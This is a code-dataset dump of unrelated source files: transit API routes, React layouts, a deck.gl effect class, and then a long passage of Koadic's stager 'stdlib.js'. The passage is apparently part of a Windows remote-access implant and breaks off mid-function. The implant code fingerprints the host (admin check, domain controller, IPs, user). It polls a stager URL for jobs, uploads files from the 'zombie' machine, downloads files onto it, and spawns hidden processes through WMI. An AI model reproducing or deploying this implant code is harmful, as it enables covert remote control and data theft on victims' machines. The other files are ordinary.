2021-12-03T22:24:13.000Z
src/routes/about/routes.js
right-track/right-track-server
082647af8c98a21e5a39768dbe8a23852414afbd
[ "MIT" ]
null
null
null
'use strict'; const helper = require('./helper.js'); let routes = function(server) { /** * @api {GET} /about Get Server Information * @apiName getServerInformation * @apiGroup About * @apiDescription Get information about the Right Track API Server and its supported agencies and transit agencies. * @apiPermission public * * @apiParam (Query) {boolean=true} [agencyConfig] When set to true, show additional configuration variables for each Agency * * @apiError (5xx Error Codes) 500 Internal Server Error * @apiError (5xx Error Codes) 5001 API Server Timeout * @apiError (5xx Error Codes) 5002 API Server Error * * @apiSuccessExample {json} Example Response: * HTTP/1.1 200 OK * { * "status": "success", * "response": { * "server": { * "name": "Right Track API Server [ALPHA]", * "version": "1.1.2", * "host": "localhost:3000", * "hostname": "FINS.local" * "maintainer": { * "name": "David Waring", * "email": "webmaster@righttrack.io", * "source": "https://github.com/right-track/right-track-server" * } * }, * "agencies": [ * { * "id": "lirr", * "name": "Long Island Rail Road", * "database": { * "version": 2018010816, * "publish": 20180108, * "compile": 20180108, * "notes": "This schedule database was automatically compiled on 1/8/2018, 4:15:03 PM due to a schedule data update from Long Island Rail Road." * }, * "maintainer": { * "name": "David Waring", * "email": "lirr@righttrack.io", * "source": "https://github.com/right-track/right-track-agency-lirr" * } * }, * { * "...": "..." * } * ], * "transit": [ * { * "id": "mta", * "name": "MTA", * "description": "The Metropolitan Transportation Authority operates public transit in the greater New York City region. This feed includes the NYC Transit Subway, NYCT and MTA Buses, Long Island Rail Road, Metro-North Railroad, and MTA-operated (NY intrastate) bridges and tunnels.", * "maintainer": { * "name": "David Waring", * "email": "lirr@righttrack.io", * "source":"https://github.com/right-track/right-track-agency-lirr" * } * }, * { * "...": "..." * } * ] * } * } */ server.get("/about", helper.getAbout); /** * @api {GET} /about/agencies Get All Agency Information * @apiName getAllAgencyInformation * @apiGroup About * @apiDescription Get information about all of the agencies supported by the Right Track API Server. * @apiPermission public * * @apiParam (Query) {boolean=true} [agencyConfig] When set to true, show the entire configuration for each Agency * * @apiError (5xx Error Codes) 500 Internal Server Error * @apiError (5xx Error Codes) 5001 API Server Timeout * @apiError (5xx Error Codes) 5002 API Server Error * * @apiSuccessExample {json} Example Response: * HTTP/1.1 200 OK * { * "status": "success", * "response": { * "agencies": [ * { * "id": "lirr", * "name": "Long Island Rail Road", * "database": { * "version": 2018010816, * "publish": 20180108, * "compile": 20180108, * "notes": "This schedule database was automatically compiled on 1/8/2018, 4:15:03 PM due to a schedule data update from Long Island Rail Road." * }, * "maintainer": { * "name": "David Waring", * "email": "lirr@righttrack.io", * "source": "https://github.com/right-track/right-track-agency-lirr" * } * }, * { * "...": "..." * } * ] * } * } */ server.get("/about/agencies", helper.getAboutAgencies); /** * @api {GET} /about/agencies/:agency Get Agency Information * @apiName getAgencyInformation * @apiGroup About * @apiDescription Get information about the specified agency. * @apiPermission public * * @apiParam (Path) {string} agency RT Agency Code * @apiParam (Query) {boolean=true} [agencyConfig] When set to true, show the entire configuration for each Agency * * @apiError (5xx Error Codes) 500 Internal Server Error * @apiError (5xx Error Codes) 5001 API Server Timeout * @apiError (5xx Error Codes) 5002 API Server Error * @apiError (404 Error Codes) 4041 Unsupported Agency * * @apiSuccessExample {json} Example Response: * HTTP/1.1 200 OK * { * "status": "success", * "response": { * "agency": { * "id": "mnr", * "name": "Metro North Railroad & SLE", * "database": { * "version": 2018011016, * "publish": 20180108, * "compile": 20180110, * "notes": "This update fixes some trips and transfer connections on the New Haven Line" * }, * "maintainer": { * "name": "David Waring", * "email": "mnr@righttrack.io", * "source": "https://github.com/right-track/right-track-agency-mnr" * } * } * } * } */ server.get("/about/agencies/:agency", helper.getAboutAgency); /** * @api {GET} /about/agencies/:agency/icon Get Agency Icon * @apiName getAgencyIcon * @apiGroup About * @apiDescription Get the icon for the specified agency. * @apiPermission public * * @apiParam (Path) {string} agency RT Agency Code * @apiParam (Query) {string} [type] Icon Type * @apiParam (Query) {string} [size] Icon Size * * @apiError (5xx Error Codes) 500 Internal Server Error * @apiError (5xx Error Codes) 5001 API Server Timeout * @apiError (5xx Error Codes) 5002 API Server Error * @apiError (404 Error Codes) 4041 Unsupported Agency * @apiError (404 Error Codes) 4049 Agency Icon Not Found * */ server.get("/about/agencies/:agency/icon", helper.getAboutAgencyIcon); /** * @api {GET} /about/agencies/:agency/links Get Agency Links * @apiName getAgencyLinks * @apiGroup About * @apiDescription Get the set of links for additional resources for the specified agency. * @apiPermission public * * @apiParam (Path) {string} agency RT Agency Code * * @apiError (5xx Error Codes) 500 Internal Server Error * @apiError (5xx Error Codes) 5001 API Server Timeout * @apiError (5xx Error Codes) 5002 API Server Error * @apiError (404 Error Codes) 4041 Unsupported Agency * * @apiSuccessExample {json} Example Response: * HTTP/1.1 200 OK * { * "status": "success", * "response": { * "agency": "mnr", * "links": [ * { * "category": "App Resources", * "links": [ * { * "title": "Google Play", * "description": "View Right Track: Metro North's listing in the Google Play store. Install updates, rate the app and leave comments.", * "url": "https://play.google.com/store/apps/details?id=com.waring.MNRTrainTime" * }, * { * "...": "..." * } * ] * }, * { * "...": "..." * } * ] * } * } */ server.get("/about/agencies/:agency/links", helper.getAboutAgencyLinks); }; module.exports = routes;
34.412017
300
0.527438
46288b098788ae485f5f7e579d9a1c2a7fc4b02c
887
js
JavaScript
src/pages/YLayout/YLayout.js
yanzhikang/Y-react-test
72804e274455dbf7dec4982ae58adc42baf22787
[ "Apache-2.0" ]
null
null
null
src/pages/YLayout/YLayout.js
yanzhikang/Y-react-test
72804e274455dbf7dec4982ae58adc42baf22787
[ "Apache-2.0" ]
null
null
null
src/pages/YLayout/YLayout.js
yanzhikang/Y-react-test
72804e274455dbf7dec4982ae58adc42baf22787
[ "Apache-2.0" ]
null
null
null
import { Layout, Breadcrumb, Card } from "antd"; import { renderRoutes } from "react-router-config"; import YSider from "./Sider"; import YHeader from "./YHeader.tsx"; const { Header, Content, Footer } = Layout; export default function YLayout(props) { const { route } = props; return ( <> <Layout style={{ minHeight: "100vh" }}> <YSider></YSider> <Layout className="site-layout"> <Header className="site-layout-background"> <YHeader></YHeader> </Header> <Content style={{ margin: "0 16px" }}> <Breadcrumb style={{ margin: "16px 0" }}> <Breadcrumb.Item>User</Breadcrumb.Item> <Breadcrumb.Item>Bill</Breadcrumb.Item> </Breadcrumb> <Card style={{ minHeight: 360 }}>{renderRoutes(route.routes)}</Card> </Content> <Footer style={{ textAlign: "center" }}>Yanzhi</Footer> </Layout> </Layout> </> ); }
26.878788
74
0.620068
4628c972832766b46bcb6347de52ede2ca45f5ed
3,581
js
JavaScript
superset/assets/node_modules/@deck.gl/core/dist/es5/experimental/lib/effect.js
kumarss20/superset-neo4j
74f308ab52879c3f5772f377a5769ad33a24946a
[ "Apache-2.0" ]
null
null
null
superset/assets/node_modules/@deck.gl/core/dist/es5/experimental/lib/effect.js
kumarss20/superset-neo4j
74f308ab52879c3f5772f377a5769ad33a24946a
[ "Apache-2.0" ]
null
null
null
superset/assets/node_modules/@deck.gl/core/dist/es5/experimental/lib/effect.js
kumarss20/superset-neo4j
74f308ab52879c3f5772f377a5769ad33a24946a
[ "Apache-2.0" ]
null
null
null
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; function _instanceof(left, right) { if (right != null && typeof Symbol !== "undefined" && right[Symbol.hasInstance]) { return right[Symbol.hasInstance](left); } else { return left instanceof right; } } function _classCallCheck(instance, Constructor) { if (!_instanceof(instance, Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } // Copyright (c) 2015 - 2017 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. var counter = 0; var Effect = /*#__PURE__*/ function () { function Effect() { _classCallCheck(this, Effect); this.id = 'effect'; this.count = counter++; this.visible = true; this.priority = 0; this.needsRedraw = false; } /** * subclasses should override to set up any resources needed */ _createClass(Effect, [{ key: "initialize", value: function initialize(_ref) { var gl = _ref.gl, layerManager = _ref.layerManager; } /** * and subclasses should free those resources here */ }, { key: "finalize", value: function finalize(_ref2) { var gl = _ref2.gl, layerManager = _ref2.layerManager; } /** * override for a callback immediately before drawing each frame */ }, { key: "preDraw", value: function preDraw(_ref3) { var gl = _ref3.gl, layerManager = _ref3.layerManager; } /** * override for a callback immediately after drawing a frame's layers */ }, { key: "draw", value: function draw(_ref4) { var gl = _ref4.gl, layerManager = _ref4.layerManager; } }, { key: "setNeedsRedraw", value: function setNeedsRedraw() { var redraw = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; this.needsRedraw = redraw; } }]); return Effect; }(); exports.default = Effect; //# sourceMappingURL=effect.js.map
35.107843
317
0.689193
4628dbc01d090aa3a38aea1906b3fb556ca65fb2
2,383
js
JavaScript
code/frontend/src/view/AboutView.js
xtommy-1/FundSystem
95e53855f9adcead1337b03c6b07fe6e9047db19
[ "Apache-2.0" ]
null
null
null
code/frontend/src/view/AboutView.js
xtommy-1/FundSystem
95e53855f9adcead1337b03c6b07fe6e9047db19
[ "Apache-2.0" ]
null
null
null
code/frontend/src/view/AboutView.js
xtommy-1/FundSystem
95e53855f9adcead1337b03c6b07fe6e9047db19
[ "Apache-2.0" ]
1
2022-03-02T05:04:17.000Z
2022-03-02T05:04:17.000Z
import { View, Text, StyleSheet, Dimensions, } from "react-native"; import React, {useEffect, useState} from "react"; import {ListItem} from "react-native-elements"; import Background from "../components/firebase/Background"; import Logo from "../components/firebase/Logo"; import BackButton from "../components/firebase/BackButton"; import MyStatusBar from "../components/MyStatusBar"; const AboutView = ({route, navigation}) => { const list = [ { title: '客服热线', right: '021-34204124' }, { title: '交我赚中台地址', right: '121.36.207.248:8001', }, { title: '版本号', right: '2.1.0', }, ] const width = Dimensions.get("window").width; const height = Dimensions.get("window").height; return ( <Background> <BackButton goBack={navigation.goBack}/> <View style={{alignItems: 'center'}}> <MyStatusBar color={"#fefefe"}/> <Logo/> <Text style={{ fontSize: 21, fontWeight: 'bold', paddingTop: 2, }}> 交我赚 </Text> <Text style={{ fontSize: 16, paddingTop: 2, }}> Version 2.1.0 </Text> <View style={{width: width * 0.85}}> <ListItem bottomDivider/> { list.map((l, i) => ( <ListItem key={i} bottomDivider containerStyle={{display: 'flex'}}> <ListItem.Content style={{flex: 4}}> <ListItem.Title>{l.title}</ListItem.Title> </ListItem.Content> <ListItem.Content style={{alignItems: 'flex-end', flex: 5}}> <ListItem.Subtitle>{l.right}</ListItem.Subtitle> </ListItem.Content> </ListItem> )) } </View> </View> <View style={{alignItems: 'center', paddingTop: height * 0.25}}> <Text style={page.bottomText}>交我赚 版权所有</Text> <Text style={page.bottomText}>CopyRight © 2021-2021 JWZ.</Text> <Text style={page.bottomText}>All Rights Reserved.</Text> </View> </Background> ) } export default AboutView; const page = StyleSheet.create({ bottomText: { color: '#9f9f9f', fontSize: 13, lineHeight: 20, } })
28.035294
80
0.516156
4628e5e3387fb725467cc8b834f098a66b098006
478
js
JavaScript
src/pages/xg-porg-orgtree/PorgSalesNtwk.js
dvvj/react-material-admin
f88d81da4bef01f9b3e80a253b9439cec031a525
[ "MIT" ]
null
null
null
src/pages/xg-porg-orgtree/PorgSalesNtwk.js
dvvj/react-material-admin
f88d81da4bef01f9b3e80a253b9439cec031a525
[ "MIT" ]
null
null
null
src/pages/xg-porg-orgtree/PorgSalesNtwk.js
dvvj/react-material-admin
f88d81da4bef01f9b3e80a253b9439cec031a525
[ "MIT" ]
null
null
null
import React, { Component } from 'react'; import OrgTree from '../../components/XgOrgTree/OrgTree'; class PorgSalesNtwk extends Component { constructor(props) { super(props); this.history = props.history; this.userDispatch = props.userDispatch; } render() { //const state = this.state; return ( <OrgTree history={this.history} userDispatch={this.userDispatch} /> ); } }; export default PorgSalesNtwk;
26.555556
79
0.623431
46297cc01e28a1359ddd840c3f9f68c3a4f68947
1,028
js
JavaScript
js9Tests/binregTest.js
o-smirnov/js9
314cd04982912947bb9cf0fff8fb7d830a88989d
[ "MIT" ]
null
null
null
js9Tests/binregTest.js
o-smirnov/js9
314cd04982912947bb9cf0fff8fb7d830a88989d
[ "MIT" ]
4
2021-03-18T20:23:31.000Z
2022-01-13T00:41:10.000Z
js9Tests/binregTest.js
o-smirnov/js9
314cd04982912947bb9cf0fff8fb7d830a88989d
[ "MIT" ]
1
2018-04-11T17:50:35.000Z
2018-04-11T17:50:35.000Z
exports.dotest = function(js9Test, opts){ var image = js9Test.image || "CTB 109 FITS"; js9Test.clickImageURL(image, opts, function(){ var d = "bin2/zoom2 region is the same as original region"; js9Test.clickMenuItem("wcs", "pixels"); js9Test.clickMenuItem("region", "circle"); js9Test.clickMenuItem("view", "Binning"); js9Test.clickXPath("//input[@name='bin']", {text: "2"}); js9Test.clickXPath("//input[@name='rebin']"); js9Test.waitImage(opts, function(){ js9Test.clickXPath("//input[@name='close']"); js9Test.clickMenuItem("zoom", "zoom 2"); js9Test.clickMenuItem("region", "circle"); js9Test.delay(500, function(){ a = js9Test.sendMsg("regions"); arr = a.split(";"); if( arr[1] && arr[2] ){ r1 = arr[1].trim(); r2 = arr[2].trim(); if( r1 === r2 ){ js9Test.results("success", opts.script, d); } else { js9Test.results("FAILURE", opts.script, d, r1, r2); } } else { js9Test.results("FAILURE", opts.script, d, a); } }); }); }); }
32.125
60
0.60214
4629d82ac719f54b4b85f7173cb9edcb713af1f9
121
js
JavaScript
config/datastores.js
seligj95/mean-todoapp
812b0785e76e787043ed65a248a69bac37a442a7
[ "MIT" ]
null
null
null
config/datastores.js
seligj95/mean-todoapp
812b0785e76e787043ed65a248a69bac37a442a7
[ "MIT" ]
null
null
null
config/datastores.js
seligj95/mean-todoapp
812b0785e76e787043ed65a248a69bac37a442a7
[ "MIT" ]
null
null
null
module.exports = { attributes: { value: {type: 'string'}, done: {type: 'boolean', defaultsTo: false} }, };
13.444444
46
0.561983
462a15b675ea142feb01949f937040d6eb64dfa0
2,260
js
JavaScript
death-star/src/main/resources/client/src/enforcer/dashboard/services/SettingsService.js
kavehg/enforcer-one
2aeda6d3c589214c7a4a0409ddad396dd701bb31
[ "Apache-2.0" ]
null
null
null
death-star/src/main/resources/client/src/enforcer/dashboard/services/SettingsService.js
kavehg/enforcer-one
2aeda6d3c589214c7a4a0409ddad396dd701bb31
[ "Apache-2.0" ]
1
2019-03-14T18:15:52.000Z
2019-03-14T18:15:52.000Z
death-star/src/main/resources/client/src/enforcer/dashboard/services/SettingsService.js
kavehg/enforcer-one
2aeda6d3c589214c7a4a0409ddad396dd701bb31
[ "Apache-2.0" ]
null
null
null
/** * SettingsService - maintains the settings to be used across the various controllers in app * - allows settings to be updated and retrieved * */ angular.module('Enforcer.Dashboard') .service('SettingsService', ['$q', '$rootScope', function($q, $scope, $rootScope) { /** ======================================================================================== ** Settings Variables ** ===================================================================================== */ var settings = { "connection" : "None", "missingTime" : 20, "statusScanTime" : 5, "deathTime" : 2, "escalationTime" : 5, "autoEscalation" : true, "notificationToasts" : false }; /** ======================================================================================== ** Functions ** ===================================================================================== */ // Creates a promise and resolves it with available data, otherwise reject the promise. function getSettings() { var deferred = $q.defer(); if(true) { deferred.resolve(settings); } else { deferred.reject("Error retrieving settings."); } return deferred.promise; } // Receives new settings and overwrites the old function overwriteSettings(newSettings) { var deferred = $q.defer(); if (true) { settings = newSettings; deferred.resolve(true); } else { deferred.reject("Error overriding settings.") } return deferred.promise; } /** ======================================================================================== ** Return ** ===================================================================================== */ // Calls to functions inside this service from external controllers return { overwriteSettings: overwriteSettings, getSettings: getSettings, }; }]);
33.731343
100
0.380531
462a558b14f3d1300cde46fe0487569d8142dab9
24,389
js
JavaScript
data/stager/js/stdlib.js
beenjaminmb/koadic
2f162919cee71274b1b82644ec48d5610680187d
[ "Apache-2.0" ]
1
2019-10-06T15:57:42.000Z
2019-10-06T15:57:42.000Z
data/stager/js/stdlib.js
NTgitdude23/koadic
57372f74657a15d21f731f08c3f54180a1dbc314
[ "Apache-2.0" ]
null
null
null
data/stager/js/stdlib.js
NTgitdude23/koadic
57372f74657a15d21f731f08c3f54180a1dbc314
[ "Apache-2.0" ]
null
null
null
var Koadic = { FS : new ActiveXObject("Scripting.FileSystemObject"), WS : new ActiveXObject("WScript.Shell"), STAGER : "~URL~", SESSIONKEY : "~SESSIONKEY~", JOBKEY : "~JOBKEY~", JOBKEYPATH : "~URL~?~SESSIONNAME~=~SESSIONKEY~;~JOBNAME~=", EXPIRE : "~_EXPIREEPOCH_~" }; /** * Sleeps the current thread * * @param int ms - how long to sleep in milliseconds * @param function callback - where to continue execution after the sleep * * @return void */ Koadic.sleep = function(ms, callback) { if (Koadic.isHTA()) { window.setTimeout(callback, ms); } else { var now = new Date().getTime(); while (new Date().getTime() < now + ms); callback(); } } /** * Attempts to kill the current process using a myriad of methods * * @return void */ Koadic.exit = function() { if (Koadic.isHTA()) { // crappy hack? try { window.close(); } catch(e){} try { window.self.close(); } catch (e){} try { window.top.close(); } catch (e){} try{ self.close(); } catch (e){} try { window.open('', '_self', ''); window.close(); } catch (e) { } } try { WScript.quit(); } catch (e) { } try { var pid = Koadic.process.currentPID(); Koadic.process.kill(pid); } catch (e) { } } /** * Determine if running in HTML Application context * * @return bool - true if HTML application context */ Koadic.isHTA = function() { return typeof(window) !== "undefined"; } /** * Determine if running in WScript Application context * * @return bool - true if WScript context */ Koadic.isWScript = function() { return typeof(WScript) !== "undefined"; } Koadic.uuid = function() { try { function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } catch(e) { } } Koadic.user = {}; //user.isElevated.start Koadic.user.isElevated = function() { try { var res = Koadic.shell.exec("net session", "%TEMP%\\"+Koadic.uuid()+".txt") if (res.indexOf("Access is denied.") == -1) { return true; } return false; } catch(e) { return false; } } //user.isElevated.end //user.OS.start Koadic.user.OS = function() { try { // var wmi = GetObject("winmgmts:\\\\.\\root\\CIMV2"); // var colItems = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem"); // var enumItems = new Enumerator(colItems); // var objItem = enumItems.item(); var osver = Koadic.WS.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName"); var osbuild = Koadic.WS.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentBuildNumber"); return osver+"***"+osbuild; } catch(e){} return "Unknown"; } //user.OS.end //user.DC.start Koadic.user.DC = function() { try { var DC = Koadic.WS.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\DCName"); if (DC.length > 0) { //DC += "___" + Koadic.WS.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\MachineDomain") //DC += Koadic.user.ParseDomainAdmins(Koadic.shell.exec("net group \"Domain Admins\" /domain", "%TEMP%\\das.txt")); return DC; } } catch(e) { } return "Unknown"; } //user.DC.end /*Koadic.user.ParseDomainAdmins = function(results) { try { var domain = results.split("domain controller for domain ")[1].split(".\r\n")[0]; var retstring = "___" + domain; var parse1 = results.split("-------\r\n")[1].split("The command completed successfully.")[0]; var parse2 = parse1.split("\r\n"); var tmp = []; for(var i = 0; i < parse2.length; i++) { tmp = parse2[i].split(" "); for(var j = 0; j < tmp.length; j++) { if(tmp[j]) { retstring += "___" + tmp[j].toLowerCase(); } } } } catch(e) { } return retstring; }*/ //user.Arch.start Koadic.user.Arch = function() { try { // var wmi = GetObject("winmgmts:\\\\.\\root\\CIMV2"); // var colItems = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem"); // var enumItems = new Enumerator(colItems); // var objItem = enumItems.item(); var arch = Koadic.WS.RegRead("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\PROCESSOR_ARCHITECTURE"); return arch; } catch(e){} return "Unknown"; } //user.Arch.end //user.CWD.start Koadic.user.CWD = function() { try { var cwd = Koadic.shell.exec("cd", "%TEMP%\\cwd.txt"); return cwd; } catch(e) {} return ""; } //user.CWD.end //user.IPAddrs.start /* Koadic.user.IPAddrs = function() { var interfaces = Koadic.shell.exec("reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\interfaces", "%TEMP%\\"+Koadic.uuid()+".txt"); var interfacearray = interfaces.split("\n"); var retstring = ""; var interfaceid = ""; for (var i=0;i<interfacearray.length-1;i++) { interfaceid = interfacearray[i].split("\\")[interfacearray[i].split("\\").length-1]; try { var interface = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\interfaces\\"+interfaceid; var res = Koadic.shell.exec("reg query "+interface+" /v DhcpIPAddress", "%TEMP%\\"+Koadic.uuid()+".txt"); retstring += res.split("REG_SZ")[1].split("\r\n")[0]+"___"; res = Koadic.shell.exec("reg query "+interface+" /v IPAddress", "%TEMP%\\"+Koadic.uuid()+".txt"); retstring += res.split("REG_MULTI_SZ")[1].split("\r\n")[0]+"___"; } catch(e) {continue;} } return retstring; } */ Koadic.user.IPAddrs = function() { // try // { // var ipconfig = Koadic.shell.exec("ipconfig", "%TEMP%\\"+Koadic.uuid()+".txt"); // var ip = ipconfig.split(" IPv4 ")[1].split(": ")[1].split("\r\n")[0]; // return ip; // } // catch(e) // { // try // { // var ip = ipconfig.split(" IP ")[1].split(": ")[1].split("\r\n")[0]; // return ip; // } // // we might need to add more conditions :/ // catch(e) // {} // } try { var routeprint4 = Koadic.shell.exec("route PRINT -4", "%TEMP%\\"+Koadic.uuid()+".txt"); var res = routeprint4.split("\r\n"); for (var i=0; i < res.length; i++) { line = res[i].split(" "); // count how many 0.0.0.0 entries in this array zerocount = 0; // count how many entries in this array aren't empty itemcount = 0; // flag for when this is the line we're looking for correctflag = false; for (var j=0; j < line.length; j++) { // empty string evals to false if (line[j]) { itemcount += 1; // ip addr is in the 4th column if (itemcount == 4 && correctflag) { return line[j]; } } if (line[j] == "0.0.0.0") { zerocount += 1; // 2 occurances of the 'any' interface in a single line is what we're looking for if (zerocount == 2) { correctflag = true; } } } } } catch(e) {} return ""; } //user.IPAddrs.end //user.info.start Koadic.user.info = function() { var net = new ActiveXObject("WScript.Network"); var domain = ""; if (net.UserDomain.length != 0) { domain = net.UserDomain; } else { domain = Koadic.shell.exec("echo %userdomain%", "%TEMP%\\"+Koadic.uuid()+".txt"); domain = domain.split(" \r\n")[0]; } var info = domain + "\\" + net.Username; if (Koadic.user.isElevated()) info += "*"; info += "~~~" + net.ComputerName; info += "~~~" + Koadic.user.OS(); info += "~~~" + Koadic.user.DC(); info += "~~~" + Koadic.user.Arch(); info += "~~~" + Koadic.user.CWD(); info += "~~~" + Koadic.user.IPAddrs(); info += "~~~" + Koadic.user.encoder(); info += "~~~" + Koadic.user.shellchcp(); return info; } //user.info.end //user.encoder.start Koadic.user.encoder = function() { try { var encoder = Koadic.WS.RegRead("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\CodePage\\ACP"); return encoder; } catch(e) { return "1252"; } } //user.encoder.end Koadic.user.shellchcp = function() { try { var encoder = Koadic.WS.RegRead("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\CodePage\\OEMCP"); return encoder; } catch(e) { return "437"; } } Koadic.work = {}; /* Koadic.work.applyDefaultHeaders = function(headers) { var headers = (typeof(headers) !== "undefined") ? headers : {}; headers["SESSIONKEY"] = Koadic.SESSIONKEY; headers["JOBKEY"] = Koadic.JOBKEY; } */ /** * Reports a successful message to the stager * * @param string data - The post body * @param map headers - Any additional HTTP headers * * @return object - the HTTP object */ Koadic.work.report = function(data, headers) { //var headers = Koadic.work.applyDefaultHeaders(headers); return Koadic.http.post(Koadic.work.make_url(), data, headers); } /** * Reports an error condition to the stager * * @param exception e - what exception was thrown * * @return object - the HTTP object */ Koadic.work.error = function(e) { try { var headers = {}; headers["errno"] = (e.number) ? e.number : "-1"; headers["errname"] = (e.name) ? e.name : "Unknown"; headers["errdesc"] = (e.description) ? e.description : "Unknown"; return Koadic.work.report(e.message, headers); } catch (e) { // Abandon all hope ye who enter here // For this is where all things are left behind } } /** * Makes the stager callhome URL for a specific jobkey * * @param string jobkey - which job to fetch * * @return string - the stager callhome URL */ Koadic.work.make_url = function(jobkey) { var jobkey = (typeof(jobkey) !== "undefined") ? jobkey : Koadic.JOBKEY; return Koadic.JOBKEYPATH + jobkey + ";"; } /** * Fetches the next job from the server * * @return object - the HTTP object */ Koadic.work.get = function() { var url = Koadic.work.make_url(); return Koadic.http.post(url); } /** * Forks a new process and runs the specific jobkey * * @param string jobkey - the job to fetch/run * @param bool fork32Bit - ensure new process is x86 * * @return void */ //work.fork.start Koadic.work.fork = function(jobkey, fork32Bit) { var fork32Bit = (typeof(fork32Bit) !== "undefined") ? fork32Bit : false; var cmd = "~_FORKCMD_~"; if (fork32Bit) cmd = Koadic.file.get32BitFolder() + cmd; cmd = cmd.replace("***K***", Koadic.work.make_url(jobkey)); try { Koadic.WMI.createProcess(cmd); } catch (e) { Koadic.WS.Run(cmd, 0, false); } } //work.fork.end Koadic.http = {}; Koadic.http.create = function() { var http = null; try { http = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0"); http.setTimeouts(0, 0, 0, 0); //http = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { http = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); http.setTimeouts(30000, 30000, 30000, 0) } return http; } Koadic.http.addHeaders = function(http, headers) { var headers = (typeof(headers) !== "undefined") ? headers : {}; var content = false; for (var key in headers) { var value = headers[key]; http.setRequestHeader(key, value); if (key.toUpperCase() == "CONTENT-TYPE") content = true; } if (!content) http.setRequestHeader("Content-Type", "application/octet-stream"); http.setRequestHeader("encoder", Koadic.user.encoder()) } Koadic.http.post = function(url, data, headers) { var data = (typeof(data) !== "undefined") ? data : ""; //var http = new ActiveXObject("Microsoft.XMLHTTP"); var http = Koadic.http.create(); http.open("POST", url, false); Koadic.http.addHeaders(http, headers); //alert("---Making request---\n" + url + '\n' + "--Data--\n" + data); http.send(data); //alert("---Response---\n" + http.responseText) return http; } Koadic.http.get = function(url, headers) { var http = Koadic.http.create(); http.open("GET", url, false); Koadic.http.addHeaders(http, headers); http.send(); return http; } /** * Upload a file, off zombie, to stager * * @param filepath - the full path to the file to send * @param header_uuid - a unique identifier for this file * @param header_key - optional HTTP header tag to send uuid over * * @return object - the HTTP object * **/ //http.upload.start Koadic.http.upload = function(filepath, header_uuid, header_key) { var key = (typeof(header_key) !== "undefined") ? header_key : "ETag"; var data = Koadic.file.readBinary(filepath); // we must replace null bytes or MS will cut off the body data = data.replace(/\\/g, "\\\\"); data = data.replace(/\0/g, "\\0"); var headers = {}; headers[key] = header_uuid; return Koadic.work.report(data, headers); } //http.upload.end //http.download.start Koadic.http.download = function(filepath, header_uuid, header_key) { var key = (typeof(header_key) !== "undefined") ? header_key : "ETag"; var headers = {}; headers[key] = header_uuid; return Koadic.http.downloadEx("POST", Koadic.work.make_url(), headers, filepath); } //http.download.end //http.downloadEx.start Koadic.http.downloadEx = function(verb, url, headers, path) { if (verb == "GET") { var http = Koadic.http.get(url, headers); } else { var http = Koadic.http.post(url, "", headers); } var stream = new ActiveXObject("Adodb.Stream"); stream.Type = 1; stream.Open(); stream.Write(http.responseBody); var data = Koadic.http.bin2str(stream); Koadic.file.write(path, data); } //http.downloadEx.end //http.bin2str.start Koadic.http.bin2str = function(stream) { stream.Flush(); stream.Position = 0; var bin = stream.Read(); var rs = new ActiveXObject("Adodb.RecordSet"); rs.Fields.Append("temp", 201, stream.Size); rs.Open(); rs.AddNew(); rs("temp").AppendChunk(bin); rs.Update(); var data = rs.GetString(); rs.Close(); return data.substring(0, data.length - 1); } //http.bin2str.end Koadic.process = {}; Koadic.process.currentPID = function() { var cmd = Koadic.file.getPath("%comspec% /K hostname"); //Koadic.WS.Run(cmd, 0, false); var childPid = Koadic.WMI.createProcess(cmd); var pid = -1; // there could be a race condition, but CommandLine returns null on win2k // and is often null on later windows with more harsh privileges // todo: this method is stupid. instead of using .Run, spawn a WMI process. // then we get child PID for free and can backtrack PPID, no race condition var latestTime = 0; var latestProc = null; var processes = Koadic.process.list(); var items = new Enumerator(processes); while (!items.atEnd()) { var proc = items.item(); try { /* if (proc.Name.indexOf("cmd") != -1) { if (latestTime == 0 && proc.CreationDate) latestTime = proc.CreationDate; if (proc.CreationDate > latestTime) { latestTime = 